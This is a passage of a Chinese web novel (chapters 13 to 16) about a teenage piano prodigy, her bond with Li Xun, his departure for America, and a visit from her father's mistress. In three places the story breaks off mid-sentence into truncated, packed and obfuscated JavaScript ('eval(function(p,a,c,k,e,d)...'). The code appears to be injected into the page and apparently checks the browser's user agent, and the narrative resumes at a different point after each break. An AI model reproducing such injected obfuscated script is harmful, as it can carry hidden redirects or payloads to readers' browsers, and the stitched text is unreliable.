从那天起,二人的夜间活动就固定了下来。 梁初灵不回家吃晚饭,行,那李寻也不在家吃。 两人有时在李炽的琴房碰头,反正李炽经常神龙见首不见尾。 梁初灵抱着外卖,一边扒拉饭一边抱怨:“我爸居然想指导我弹琴,他连五线谱都认不全!还说我弹得不够激昂,他懂什么叫激昂吗?” 李寻坐在她旁边,点点头:“他不懂。你吃慢点,米粒沾脸上了。蔬菜也要吃一点。” 有时候不想去琴房,两人就还是找家便利店,占据一角。 梁初灵遇到解不出的数学题,会把本子往李寻那边推:“你会不会?” 李寻在草稿纸上写写画画。他讲题思路清晰。 “李寻,你以后要是当不了钢琴家,可以去当老师。”梁初灵由衷建议。 李寻把写满演算过程的草稿纸推回给她:“谢谢规划。暂时没这打算。” 两人也会去李寻家。 梁初灵看了眼外卖软件:“附近能送的都吃腻了。” 李寻收起手机:“我看看冰箱里有什么。” 梁初灵来了精神:“你会做饭?” “饿不死。”说完转身就进了厨房。 梁初灵好奇,溜到厨房门口偷看,看得出神。 她没见过爸爸下厨,妈女士十指不沾阳春水。这种“有人为你洗手作羹汤”的场景,对她来说好新奇。 “看什么?”李寻头也没回。 梁初灵吓了一跳:“看看你有没有下毒!” 李寻轻笑一声没理她。 半小时后,端着两碗番茄鸡蛋面端上桌。 他记得梁初灵吐槽过她学校食堂的番茄鸡蛋是甜口,简直天地不容! 梁初灵太过义愤填膺,李寻也就没好意思说其实自己的口味也是甜口…… 反正今天特意给她做了符合她口味的。 梁初灵吃了一口:“李寻,你这水平能开店了!” 李寻坐在对面:“夸张。凑合吃吧。” 从那以后,去李寻家蹭饭也成了梁初灵的固定揭幕。她发现李寻会做的菜真不少,于是开始点菜。 “明天我想吃糖醋排骨!” “嗯。” “能做个小炒牛肉吗?不要太辣。” “好。” “我还想吃酸菜鱼。” “梁初灵,”李寻终于打断她,“我不是许愿池里的王八。” 梁初灵哈哈大笑,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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母亲用如此真心的笑容,来庆祝丈夫的再次出轨,她觉得无比荒谬,喉咙哽塞。 真心原来也可以如此讽刺。梁初灵在心里惊叹。 那么我的真心,也是这样讽刺吗?梁初灵在心里挑拨。 “初灵,你还想要爸爸回归家庭吗?”妈女士却是好像知道女儿在复杂什么,但要破开复杂,重回简单。 如果是以前,梁初灵可能会毫不犹豫说想。她渴望名义上的完整。 但现在,那个想字怎么也说不出口。 时间往后走,却显得之前的期待变得好笑。 她没有回答。 妈女士轻轻叹了口气,站起来,伸出手绕过她的肩膀,很轻地拍,像哄一个很小的孩子:“宝贝,记住,谁痛苦谁改变。妈妈不痛苦,所以妈妈不用改。” 梁初灵抬头看妈女士,正巧妈女士对着她眨眨眼。 无端的,她又想起李寻的话,‘乖’是违背本性。 第二天,妈女士就兴致勃勃收拾行李,准备开启她的下一段旅程。 家里重新恢复了“正常”。 梁初灵不必再在外面消磨时间。可以准时回家吃张姨做的饭,可以在自己的琴房里练习到深夜,不用担心关怀和指导。 自由失而复得,她却感觉心里空了一块。 晚上,她坐在自己房间的书桌前,却一个字也看不进去。摸了摸脖子上的玉坠。 那些夜晚结束了。 李寻也没必要继续陪伴。 梁初灵感到失落。 如果梁父的离开就等于失去李寻的陪伴,她不知道她还愿不愿意用现在的生活去交换。 她点开和李寻的聊天框,却不知道该发什么。 问他在干嘛?太刻意。 说我爸走了?好像也没必要通知。 问明天还一起吃饭吗?显得她多离不开他似的。 生活,难。 14. 《告别》 好景不常在。 这句话的第二个意思是:李炽和李寻要走了。 不算太意外,李炽本就是国内呆半年,国外呆半年,像候鸟遵循着迁徙规律。 比赛的预选视频尘埃落定,到明年三月结果出来之前,是一段漫长的等待和准备期。 李炽的大部分学生和资源网都在国外,也是时候把工作重心暂时移回美国。李寻自然跟着一起走,他的国际学校和美国的合作学校衔接顺畅,手续都是现成的,以往也都是这个模式。 李炽对梁初灵也没什么不放心。 这小天才自律起来吓人,附中的老师盯练琴也盯得紧,再加上时不时视频连线考察,出不了大岔子。 梁初灵得知这个消息最先是从李寻口中。 李寻这个性格,当然不会让梁初灵在琴房直面通知,他舍不得梁初灵陷入一点点被动,所以一定会先跟梁初灵提一句。 李炽得知,说他优柔寡断,李寻说那很好啊,面对梁初灵也不适合铁石心肠吧。 周五下午放学,梁初灵背着书包往外走,盘算着晚上去李炽那儿加练时要重点抠哪几个段落。 校门口熙熙攘攘,接送学生的车辆堵成一锅。 梁初灵低头想从人群缝隙里钻出去,却突然看见了李寻。 李寻站在校门外,穿着卫衣和牛仔裤,背着包,手里没拿什么东西,就那么等着。 傍晚的光线打在他身上显得迷人,狂风歇息,校内的钟声当当当响了起来,幸好,是钟声,不然梁初灵还以为是自己心跳声。 梁初灵几步跑过去,有点惊讶,“你怎么来这儿了?” 李寻先从卫衣口袋里掏出一个包得严严实实的东西,递过来。 梁初灵接过打开,是一个烤红薯,还冒丝丝热气,李寻拿自己衣服当保温袋一直煨着。 “路上看到的,想着你下课可能会饿。”李寻解释了一句。 梁初灵确实有点饿,也不客气,掰开就啃。 红薯很甜,她一边吃一边问:“你特意过来就为了送这个?” 李寻看她吃得挺香,踌躇着也就开了口:“我和我妈下周要去美国了。” 梁初灵一口红薯差点噎在喉咙里,猛咳起来。 刚才还觉得香甜的红薯,一下变成了铅块,堵在胸口,咽不下去也吐不出来。 李寻赶紧伸手拍她的背:“慢点吃。” 梁初灵顺过气,抬起头,眼睛是因为咳嗽有点泛红:“下周啊?这么快?” “嗯,机票订好了。”李寻收回手,看着她的表情,心里那点不放心开始冒头,话不由自主多了起来,“我们课程转线上,时间会协调好,你照常准备就行。你自己在这边记得按时吃饭,也要多吃蔬菜。练琴的时候,每隔四五十分钟就起来活动一下,转转手腕脖子,别一直僵着。上次给你那个按摩球记得用。还有,天气还是冷,你出门得多穿点,别着凉。我看你上次吃那个蛤蜊有点过敏,以后海鲜类的尤其是贝类,要注意点……” 他絮絮叨叨,事无巨细。 说完又从自己包里拿出一个透明药包递过来,“这里面是些常用药,退烧的,感冒的,肠胃不适的,抗过敏的,碘伏棉签,创可贴也有。” 梁初灵听着、看着,心里越来越不舒服,强行打断,语气有点冲,掩盖那股慌乱:“知道啦知道啦!我又不是三岁小孩!不用你操心这些!” 李寻被她打断,停了下来,看着她不耐烦的脸,长叹了口气,这口气叹的无奈,“怎么能不操心呢。” 像自言自语。又绕到梁初灵身后,把药包塞进她书包里。 梁初灵没听清最后那句话,或者是听清了但不知道该怎么回应。 李寻看她蔫头耷脑,抬头左右看了看,看到学校门口另一边有个卖气球的,他走过去,很快又回来,手里多了一个黄色的笑脸气球,圆滚滚,傻乎乎。 他把气球绳子塞到梁初灵手里:“拿着玩。” 梁初灵有点哭笑不得:“你当我几岁啊!” “八岁。”李寻面不改色,“走吧,先去吃饭,然后去上课。” 去琴房附近的商场吃饭,走的是熟悉的路。 梁初灵一手牵着那个气球,一手插兜里,没什么说话的欲望。 脑子里乱糟糟,为了让自己不去想李寻要走了,于是逼迫自己想别的,又想到了自己爹妈。 突兀觉得她们还真是一家人,都迷恋那些“课间时间”。 梁父在家庭这个正课之外,寻找着能让他汲取新鲜感的出轨对象。 妈女士同样在婚姻的正课里心不在焉,热衷于在外面寻找她的太阳和月亮。 那她自己呢。 李寻对她而言,是不是也算是一种课间时间,是那个可以让她获得平静和快乐的课间十分钟。 那么反过来呢。 自己对于李寻来说,是不是也只是他规律生活按部就班练琴学习之外的一段课间时间? 现在上课铃响了,他的课间时间自然就结束。 这个认知让她的心情更加低落。 吃饭的餐厅人不少,吵吵嚷嚷,气球寄存在前台。 她们点的菜上得很慢。 李寻拿手机在处理一些事情,两所学校的手续对接,还有一些出行前的资料准备。 梁初灵就坐在他对面。 灯光明亮,周围热闹。但她却觉得安静。 因为李寻没说话。 李寻没说话,外面再吵,她都感觉很安静。 菜终于上来,是大盘鸡。 李寻放下手机,拿筷子把里面几块青椒一一挑出夹到自己碗里,然后找鸡腿肉夹到梁初灵的碟子里。 “吃吧。”他说。 吃完饭去前台拿气球时,一个小孩儿在哭闹,想要那个气球,服务人员没辙,小孩儿的哭闹杀伤力很惊人,极其影响生意。于是就想跟梁初灵打商量能不能送她一点小零食,她把气球就送给这小孩儿。 说着是打商量,但死死捏着气球细细的绳子不让梁初灵碰。 梁初灵没有多想要这个气球,但是这是李寻送给她的,是她的东西,她是主人,现在却让她如此被动。 有点不高兴。 但她怕自己吵不好,所以想直接去抢气球。 手刚要往前伸呢,服务人员却错误领会意思,已经把零食递过来了。梁初灵立刻又把手往回缩。 一番动作之间,李寻先一步拒绝:“她想吃什么零食我会给她买。气球还给我们,这是我们的东西。” 这下换小孩儿家长不高兴:“这气球又不值几个钱,你多少钱买的,我给你钱行了吧?” 李寻:“不管值不值钱都是我们的东西,不问自取就是偷。”这句话是对着服务人员说的,说完转向家长,“强占豪夺就是抢。” 俩人,一个被打成小偷一个被打成土匪,都气得鼻孔出气。 李寻不理,伸手,示意服务人员把气球拿过来。 拿到后领着梁初灵往外走。 商场一楼贴着投诉电话,梁初灵指了指,忿忿:“咱们投诉他们!” 吃饭的时候热,梁初灵把外套的拉链拉开了。现在要出商场,外面天已黑,气温下降。 李寻侧过身体把梁初灵外套的拉链给她拉上,边拉边说:“算了算了,他也是怕影响店铺生意。估计以后他再也不会这样做事了。” 梁初灵看了眼手上完好无损的气球,想了想出店门时服务人员一脸菜色,那好吧! 两人往琴房的小楼走,李寻问:“还生气吗?去给你买点零食?奶片还吃不吃?” 梁初灵摇摇头,本来就没生气,只是有点不高兴,现在不高兴却被李寻转化为激动,扯着气球蹦蹦跳跳地走,还戳了戳李寻肩膀,说:“以理服人!我也要学!” 李寻觉得好笑,又想到即将要分开,笑不出来。 路过一家糖炒栗子店,李寻看着暖洋洋,他总觉得梁初灵冷,也知道她老是饿。于是问:“吃点栗子?” 梁初灵没什么意见。 李寻去买栗子,梁初灵扯着气球站在店外,店门口有一个纸箱,纸箱里垫着旧衣服,一只狸白猫蜷在里面睡得正香。 店主忙着炒栗子,看见梁初灵蹲下来看猫,随口搭话:“喜欢啊?喜欢就拿走。” 梁初灵抬头看了一眼,笑着摇摇头。 店主一边翻动锅里的栗子,一边继续说:“昨天自己跑进来的,赶也赶不走。我这店下月底就转让了,也没法养。我不喜欢这玩意,嫌麻烦。” 见梁初灵没答话,店主看向李寻,又把话重复了一遍:“小伙子,你们要不要?要就带走,省得我到时候不知道咋办。” 李寻也摇摇头:“我们养不了。我下周就不在国内了。” 梁初灵站起身,她早就不再动养猫的念头了。 李寻看了看那只小猫,也觉得小猫冷,也觉得小猫饿,拿出手机:“老板,加个微信吧。我帮忙在朋友圈问问,看有没有朋友愿意养。” 店主倒是爽快,擦了擦手就加了微信。 到了琴房,李炽已经在等。 宣布了课程转为线上的安排,以及她们即将出发去美国的消息。 梁初灵站在那儿,脸上已经看不出刚才的低落:“好啊,我知道啦。” 李炽点点头:“开始上课。” —— 李寻和李炽出发的日子,在一个天气很好的周六。 梁初灵头天晚上失眠,翻来覆去煎自己,天快亮时才迷糊了一会儿,醒来时感觉脑袋昏昏沉沉。 舌头顶了顶口腔壁,触到了一处溃疡,有点疼,是一种让人上瘾的疼。梁初灵向来擅长抵抗诱惑,跑去楼下翻到了口腔贴覆上。 她提前跟李寻说了自己想去送机,所以李炽叫的车绕路来梁初灵小区门口也接上她。 李炽她们接上梁初灵,去给李炽她们送机,李炽简直要笑。 但儿子前一天逼着她保证了绝对不因为这件事嘲笑梁初灵,所以李炽此刻忍得很好。 去机场的路上,梁初灵一直看着窗外,舌头顶一下,触到的是口腔贴。 北京已经有了热的苗头,阳光明晃晃,路边的树木绿得浅淡,像心事,像便签,就是不像离别。离别应是浓重的,但却总只能轻巧淌过,这是人为的轻巧,梁初灵不喜欢。 外头生机勃勃,她心里黑白错落。 李寻怕她晕车,给她剥了个橘子闻,又看她嘴唇起皮,拧开一瓶水让她喝一口。梁初灵也只喝了一口,有点困,莫名其妙就睡着。 到了国际出发大厅,人潮涌动,各种语言混杂,制造出匆忙又焦灼的氛围。 梁初灵站在入口处,有点茫然。 她没送过机,流程陌生。 杵在原地、眼神放空。 “发什么呆?还困是不是?要不我送你回家睡觉吧……”李寻的声音很清晰,又看了眼时间,觉得赶一赶的话确实来得及,“我现在叫车?” “你有病吧!我不回去!”梁初灵回过神,骂完一句还想再骂。 但李寻已经伸出手抓住了她的手腕:“好好好,别生气,这边人少,跟我来。” 他的手掌干燥温热,梁初灵像木偶被他牵着,穿过熙攘人群,他一边走,一边用身体挡在她外侧,避免她被行李车或者旅客碰到。 “吃早饭了吗?”李寻低头问她。 “没有。” 梁初灵回答的声音有点小,李寻没听见,所以弯腰把耳朵凑到她嘴边,问:“你说什么?我刚没听见。” “我说我没吃,起晚了,没胃口。”梁初灵对着李寻的耳朵说。 “现在吃得下了吗?”李寻还是保持着那个姿势。 “有点饿。” 李寻站好,轻轻拍了拍她头顶:“真棒,知道听身体的诉求。我去给你买个早饭。” 李寻去买了一个三明治和一盒牛奶:“先垫一下。” 梁初灵接过慢吞吞地吃,吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李寻不觉,牵着她,真像是在闲庭信步。 拿起一个飞机模型,拨弄了一下螺旋桨,发现桨还挺锋利,又放回去。接着又看中一盒磁吸书签,花花绿绿,煞是热闹。 “这个怎么样?”他拿起那盒书签,侧头问她。 梁初灵看着那堆色彩浓烈的小铁片,心想这跟李寻的气质实在不搭,但还是点了点头:“还行。” 李寻买了一盒书签。 又在一个零食铺子驻足,挑了几包果干、巧克力和牛肉干,最后又拿起一罐薄荷糖,在她眼前晃了晃:“这个,晕车或者不舒服的时候含一颗。” “啊?你这是给我买的啊?”梁初灵后知后觉。 “对啊。” 梁初灵看着他挑选付款,然后把那些文创文具和这堆零食都拎着,心里的怪异越来越浓。 这到底是谁送谁? 怎么感觉像是她要出远门,他在给她张罗路上的行李和消遣的零嘴? 她忍不住:“李寻,是我来送你。” 李寻正拿起一个毛绒绒的看起来像是青蛙的丑萌玩偶,转头看她,梁初灵错觉有细碎的光流转,像阳光下的溪水,她迅速仰起脑袋看,却找不到源头,只好又低头,低头完再转看向李寻的眼睛。 李寻把那个丑萌青蛙玩偶递给她:“知道。这是送机礼。” 梁初灵看着手里那个表情呆滞的青蛙,一时无语。 李寻却是找到了乐趣,更是放开了手脚。 看到卖特产的,进去拎了一盒; 又看到卖文具的,又买了一叠信纸,拿了几盒铅笔,又买了几本印着猫猫的本子; 在一个卖香薰的柜台前,还认真闻了几款,最后选了一个据说能安神助眠的。 梁初灵感觉自己不像来送行的,倒像是来进货的。 看着李寻的背影,他没有了外套,只有一件帽衫,在人群里从容穿梭,为她搜罗这些莫名觉得她可能会喜欢的东西。 记得她偶尔会低血糖,记得她会晕车,记得她喜欢乱涂乱画,记得她练琴累了喜欢嚼点东西,记得她会失眠,记得她对那些小玩意的好奇,记得很多连她自己都可能忽略的细枝末节。 心里那片黑白错落的荒原,好像被这些零零碎碎一点点染上颜色。 李寻终于走回她身边,“差不多了。”他说,“应该够你消磨一阵。” 梁初灵抬起头,撞进他眼睛里。里面不再是平惯的平静无波,而是漾着一种她无法立刻解读的东西。 她又察觉到自己的心脏跳得很快。 广播响起,催促着旅客办理登机手续。 时间到了。 李炽也已经拖着随身行李箱走过来,站在几步开外。李寻深吸一口气,再次轻轻握了握她的手腕,很快松开。 “我们该走了。”他看着她的眼睛一字一句。 梁初灵之前准备好的所有话,比如“一路顺风”,比如“到了报平安”,此刻都挤不出来。她只能点头,点得脖子发酸。 李寻又看了她几秒,抬手,这次不是拍头顶,而是用指腹蹭了一下她脸颊。 “我帮你叫好车了,车牌号发在你微信上了,别乱走,看见了吗?那儿,对就是那边,从那个门出去,出去左转就能直接上车。到家了给我发条消息。我走了。我们走了。” 他说完,确认梁初灵都听清楚了路线,再转身走向李炽。 梁初灵站在原地,看着她们背影汇入人流,走向安检口,一直看着,直到身影消失在通道尽头,再也看不见。 周围依然是喧闹的,送别的,重逢的,匆忙的。 可她站在那里,穿着他的外套,抱着一堆东西。 仿佛不是他去远行,而是她即将开启一场漫长的旅途。 离别总是很快,像一阵风吹过。 她抬起手,再次挥了挥,说了一句:“再见。” 啊,想起来了,早上贴了口腔贴,成分有地塞米松,那会导致心跳加速。 原来如此。梁初灵边往外走边心里想。 15. 《格特鲁德圆舞曲》 五月的北京总算有了点正经春天的样子,哗啦啦泼开一世界的绿。几乎有点嚣张。 植物清新又清腥。 就是路边的杨树毛子飘得像下雪。 梁初灵每次从琴房出来都得捂着鼻子跑,不知道的以为柳絮在追着她打。 第一次线上课。 梁初灵弹完一首玛祖卡,李炽在屏幕那头正好喝完水。 “节奏活了不少,有点意思。左手这个装饰音处理得比以前好。” 梁初灵心里刚冒出点得意,李炽下一句就跟了上来:“就是第三小节那个回旋,收得有点急,像被人撵着。怎么,赶着去投胎?” 梁初灵:…… 她没好意思说,那是因为瞥见李寻出现在了视频的右上角,她莫名就想赶紧弹完那个小节。 此刻李寻把果盘放在李炽手边,人却没走,靠在书桌旁,拿起一个苹果开始削。苹果皮连绵不断垂下来。 梁初灵的视线忍不住又往那边飘。 “看什么看?”李炽的声音凉飕飕,“他削个苹果也比你刚才那个音弹得好看?” 梁初灵瞬间坐直,目不斜视。 李寻低着头,肩膀可疑地抖动了一下。 下课的时候,李炽那边门铃响,她起身离开。 视频还没断,屏幕上只剩下李寻,和他手里那个削得光溜溜的苹果。 “给你削的。”他把苹果对着摄像头晃了晃,“可惜递不过去。” 梁初灵哼了一声:“谁稀罕。我根本不爱吃苹果!” “我稀罕。”李寻接得自然,咔嚓咬了一口,“很甜。” 梁初灵忽然觉得有点口渴,其实她最近吃水果吃蔬菜都比以前多,但是没跟李寻说,显得像是在邀功,那样她不喜欢。但也不能不说,那不就白用工?所以要等到见面的时候说,可是,什么时候才能见面呢? “你那边天气怎么样?”她没话找话。 “还行。就是下了好几天暴雨,电闪雷鸣。”李寻语气里带着点真实的无奈。 “活该。” 骂完却发现屏幕那头的李寻在笑。 “笑什么!” “没什么,哎呀忘夸我们小天才了,今天弹得真棒,一点就会。” 李寻夸完就把镜头对着窗外,让她听鸟叫声。 然后镜头下移,对准窗台上一个小花盆,里面有一些嫩芽。 “梁初灵。”他的声音这才出现在视频里,“给你种了盆……先不告诉你,等它长大点再告诉你。” 下线后,梁初灵看着黑掉的屏幕发了会儿呆,又拿起谱架旁边的水杯开始灌,灌到一半,亡羊补牢一样开始慢慢喝。喝完这杯水,她还是发呆。 李寻人走了,影子却留了下来,并且与她原有的生活发生着“混同”。 这个词还是李寻告诉她的。 有一次聊起她爸她妈那摊子事,她说感觉这个家像在被强行粘起来的模型,看着是那个形状,其实内里早就分不清哪块原本属于哪个部分。 李寻说:“物权法里有个概念,叫混同。” “什么东西?” “说的是不同的人的财产混杂在一起,形成新物,难以分割。如果要硬分,只能按照价值比例,各自分得不完全属于自己的那部分。比如你的米和我的米倒在一个缸里,那就成了我们的米。硬要分,也只能按比例分,分出来的,也不再是原来完全属于自己的那些米了。” 当时她听得半懂不懂,只觉得绕口。 现在,她重又想起这个词,是因为刚才李寻给她看那盆植物时,她压住了一个不知从何而来的问题没问:是绿萝吗? 能够压住,是因为梁初灵当时确实不知道这个问句是从哪里来的,她甚至不知道绿萝是什么……现在记忆回笼,想起来了这两个字是从哪里被种进她的脑海。 两个字再牵引出另外两个字,再牵引出更多字,字字堆叠,足以构筑一个新世界。 在这个新世界里,她毫无遮碍的就能发现自己很多习惯都带上了李寻的影子。 练琴时,她会在谱架旁放一杯水,喝水也不再牛饮。 吃饭,会去打一些自己勉强能吃得下的蔬菜。 她书桌上那个笔筒,现在也插满了印着猫猫头的笔,都是从李寻塞给她的那些文具里拆出来的。 这种混同,无处不在。 出现在她清晨醒来,摸向脖子上的玉坠时; 出现在她拧瓶盖第一次没拧开,垫着衣角再试一次时; 出现在她看到天边一朵奇形怪状的云,第一反应是想起来李寻肯定会说什么什么时。 朝夕相处,互相沾染了对方的气息、颜色、甚至形状。 现在想彻底分开,已经不可能。 他的习惯,他的方式,与她原有的部分交融在一起,形成了新的“梁初灵”。 如果硬要剥离,大概也只能分得一片狼藉,和两个都不再完整的个体。 她不再是完全原来的她,她的生活里,处处是他留下的比例,像盐溶在水里,看不见尝得出。 —— 下午到学校琴房时,管理员阿姨刚开窗户,风裹着杨树毛子飘进来,梁初灵赶紧连抽好多张纸巾,把琴键上的毛絮擦干净。 坐下就打开谱子,李炽上周线上课让她重点抠左手的和声支撑。 把手机调成静音,塞进谱架下面的抽屉。 下午又有央音的合作演出,她得把所有注意力都放在曲子上。 风涌进来,把摊在琴谱架上的几张活页纸吹得窸窣响,她伸手按住,脑子里冒出一句:“这个风速,适合在谱子这里做个渐慢处理。” 想完就给自己吓一跳,太努力了,太努力了啊梁初灵!难怪你能当天才呢! 表演在音乐厅,梁初灵是第一个上场。 坐在后台等的时候,旁边的女生紧张得手都在抖,问她:“初灵,你不紧张吗?” 梁初灵拍了拍她肩膀:“分给你一点幸运吧。” 演出全部结束是晚上九点,这才看了眼手机,屏幕上是李寻发的早餐:“今天草莓有点酸,你要是买着甜的,记得拍给我看。” 梁初灵咬着吸管吸了口纯牛奶:“我们这儿的挺甜的,昨天张姨给我买了一盒塞书包里,我吃了两颗就不想吃,剩下的全给我同桌了。” 李寻又问她表演得怎么样。 梁初灵去老师的朋友圈拿了几张拍自己的图发给她。李寻很快回了条语音,满是笑意:“真棒啊小天才。” 她把手机塞口袋里继续往家走。 梁初灵生在五月二十号,一个被赋予了大量含义的日子。 有时会错觉,自己在这天出生,是不是天生就比别人多携带了一点关于爱的天赋……似乎也并没有。 既然是生日月,总归会比较幸运吧?她漫无边际地想。 事实佐证了这一点。 近期的几次专业考核,她发挥得都很顺畅。 那个紧张的女同学今天演出表现得也不错。 —— 说实话梁初灵调整得非常快。 机场送别后,她将自己的时间表排得满满当当,文化课,专业课,语言学习,曲目练习……井井有条。生活饱满而规律。 没什么是练琴解决不了的,如果有,那就加倍练。 只是,会在一些意想不到的时刻,李寻的影子会毫无预兆地跳出,打一个岔。 但是,被打完岔的人生也还是会继续向前。 到家时张姨正把夜宵端上桌,梁初灵放下书包洗手,随口问:“我妈最近没打电话回来?” “今天打了,说在意大利看展,给你买了条裙子,让你生日穿。” 梁初灵哦了一声,没太在意。 吃饭时手机震了一下,是李寻发来的午餐照片,梁初灵拿起手机拍了拍自己面前的番茄鸡蛋,发过去:“张姨做的,比你上次煮的好吃。” 没过几秒李寻就回了条语音,声音里带着笑:“知道了,小天才的口味最棒。对了,我今天去了趟音乐学院,看到有卖肖邦的手稿复刻版,你要不要?我帮你带一本。” 梁初灵嚼嚼嚼:“要!不过你别买太贵的。” “没事,算我的。”李寻又发了条文字,“就当提前给你的生日礼物。” 梁初灵看着屏幕,李寻居然记得。每年生日,妈女士多半在国外,梁父更是连她生日是哪天都记不清。 吃完饭她钻进琴房,打开电脑准备找找谱打印出来再练会儿琴,明天周末,她今晚可以晚点睡。想趁着记性还热乎,把表演时的感觉记下来,下次再跟李炽线上课汇报。屏幕右下角突然弹出个视频请求,是李寻。梁初灵愣了愣点了接受。 视频里李寻刚洗完澡,头发还湿着,穿着件白色T恤,背景是他的房间。 “没打扰你练琴吧?”他问。 “还没开始,”梁初灵把手机架在谱架上,“你怎么这会儿有空?不用写作业?” “刚写完,”李寻拿起桌上的书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五月十二号,梁初灵又迎来了她的独奏会,这次台下的听众里坐着一个曾在俄罗斯一起合作过的老师,梁初灵也很喜欢她,因为在意,所以紧张。 上台前,她坐在后台,能听到前面观众席传来的说话声。手心有点汗。 她闭上眼,深呼吸。 脑子里不是空的,是李寻的声音。 “吸气——呼气——” 轮到她了。 走上台,鞠躬,在琴凳上坐下。灯光打下来,有点热。 手指落在琴键上,世界安静。 台下那位老师在她弹完最后一个音符后,轻轻鼓掌。 非常成功。 回到后台,相熟的同学围过来祝贺,梁初灵笑着应付。 坐下后再给李寻发:“演完啦。” 李寻发来一张图片,是一张手绘的奖状,上面写着“特此表彰梁初灵同学演出大获成功,特发此状,以资鼓励”。 落款是:非著名音乐爱好者李寻。 梁初灵没忍住,笑了出来:“什么鬼画符。” “礼轻情意重。” 过了一会儿,李寻又一条消息:“刚才应该给你鼓掌的。下次见面给你补上。” 梁初灵看着这句话,忽然不知道该怎么回。 什么时候才能见面呢? 那被她强行压下去的类似想念的情绪,悄无声息又漫上来一点。 过了一会儿,她回了一条不相干的:“李寻,我好像已经习惯你不在身边了。” 这句话发出去,她心跳又有点快。 久到梁初灵以为他不会再回,或者会回一句那挺好的时候,他的消息才跳出来:“可是我不太习惯。” 她再次想起他说过的“混同”。 不只是她一个人在经历这种改变。她在这边努力适应着没有他的生活,而他在另一边,坦然承认着他的不习惯。 这算不算一种遥远的混同? 五月的风带着暖意,吹动帘布。灯的光晕里,飞蛾盘旋。她摸了摸脖子上的玉坠。 好吧。她在心里对自己说。混同就混同吧。反正硬要分也分不清楚。 她现在没空去剥离这些。那些时不时冒出来打扰她一下的情绪,就暂且让它们待在混同的状态里吧。 转身,灯光落在谱面上,黑白分明,一如她此刻的心。 16. 《法国组曲第五套·萨拉班德》…… 北京五月中难得有这样的天气,雾和霾交织,往外一看,整个世界醉醺醺。 大前天大雨、前天大风、昨日朗朗晴空,今天却捧出一蓬蓬浑浊,好似一周之内一切气候都要展开拉锯,无数气息交缠,让无聊的北京也能浸出文艺片里爱用的清润。 热得体面,凉得洗练,有阳光在浑浊中偷瞄,忽明忽暗,是一封没贴邮票的信,有半推半就的迟疑,梁初灵也迟疑,迟疑地打开门,以为是邻居或是张姨,门一开,外面站着的却不是预想中的任何一个。 是个同样迟疑的年轻女人。 看起来也就三十出头,脸上带着点局促不安,眼睛发红,像是哭过。 梁初灵觉得有点眼熟,电光石火间,脑子里闪过父亲电脑里那张依偎的照片。 是她。 女人看到梁初灵,也愣了一下,显然没料到会是这个少女来开门。 她犹豫着还是开了口:“请问梁先生在家吗?” 梁初灵心里的警报拉响,脸上没什么表情:“不在。” 女人眼神黯了黯:“我打他电话打不通。有些事想当面问他。” “他电话打不通,你找到家里来也没用。”梁初灵的声音有点冷。 她对这些女人说不上恨,但也绝无好感。只是觉得烦。 烦中还酿出一份真相:梁父再次离家原来不是为了这名女性。 “我知道这样很冒昧,但我真的没办法了。他之前不是这样的,他说会离婚,会给我一个交代。” 梁初灵听着这些话,只觉得荒谬。 交代? 跟她一个做女儿的,来要她父亲的交代? “那是你们之间的事。”梁初灵打断她,准备关门,“你找错地方了。” 女人却伸手抵住了门,情绪有些激动起来:“他怎么可以这样!说消失就消失!” 她的话没说完,眼泪先掉了下来。 梁初灵看着她哭,心里那点烦躁里掺进了一丝疲惫的旁观。看她,就像看另一个可能版本的妈女士。 “你跟我说这些没用。”梁初灵叹了口气,试图讲道理,“我管不了他,也帮不了你。” 她向前一步,走出门外。 拿出手机,当着她面拨通梁父的电话。没人接。 又打给妈女士,电话响了好几声才接。 “喂?宝贝儿,怎么了?” 梁初灵:“爸爸的那个……对象,找到家里来了。” 妈女士的声音透出点不耐烦:“怎么找到家里去了?她跟你说什么了?” “她没什么跟我好说的。” “行,你别管她,让她闹,闹够了就走了。你这几天别在家住了,去酒店开个房,清净点,妈妈给你报销。”妈女士说完,旁边有人叫她,匆匆又补了句,“妈妈这边忙着呢,先挂了啊。” 梁初灵举着手机,看着面前泪眼婆娑的女人,觉得凭什么,凭什么他们大人惹出来的烂摊子,要她来面对要她来躲? 她对那女人说:“你也听到了。他不见你,我妈让你走。这里不欢迎你。” 说完,她不再看对方转身就往屋里走,眼不见为净。 也许是气昏了头,脚步太急,走门槛时,左脚踝一崴,人不受控制往旁边栽去。 完了。这是她倒地前最后一个念头。 预想中的彻底倒地没发生,女人扑过来,用自己的身体垫了一下,尤其紧张地护住了梁初灵那双手。 梁初灵的重量大半砸在她身上,双手被女人牢牢圈住,安然无恙。 两人狼狈地摔作一团。 女人脸上还挂着泪,却顾不上自己,立刻撑起身,第一反应是去拉梁初灵的手。检查她的手指、手腕,眼神里多了惊慌歉意:“你没事吧?手!你的手有没有事?你还要弹琴的。” 梁初灵被她这突如其来的保护弄懵。疼痛从脚踝传来,但更尖锐的是心理上的冲击。 这个她理论上应该憎恶的女人,在刚才那一瞬间,保护了她最珍贵的东西。 而连她的父亲,也并没有在乎过她这双手的未来。 “手没事。”梁初灵抽回自己的手,那触碰让她感到一种难堪的温暖。 女人这才松了口气,自己也意识到行为逾矩,松开手,转而去看她的脚,“你的脚呢?” 梁初灵疼得龇牙咧嘴:“好像有事。” 接下来的发展,超出了梁初灵人生经验的总和。 这个理论上应该被她视为敌人的女人,扶着她,开着车,把她送到了最近的医院。 车内很干净,什么香味都没有,什么音乐也都没放。 太安静,女人没话找话:“我小时候也学过钢琴。学了六年。后来家里供不起了,就没再弹。你弹得真好,我在网上搜过你的比赛视频。” 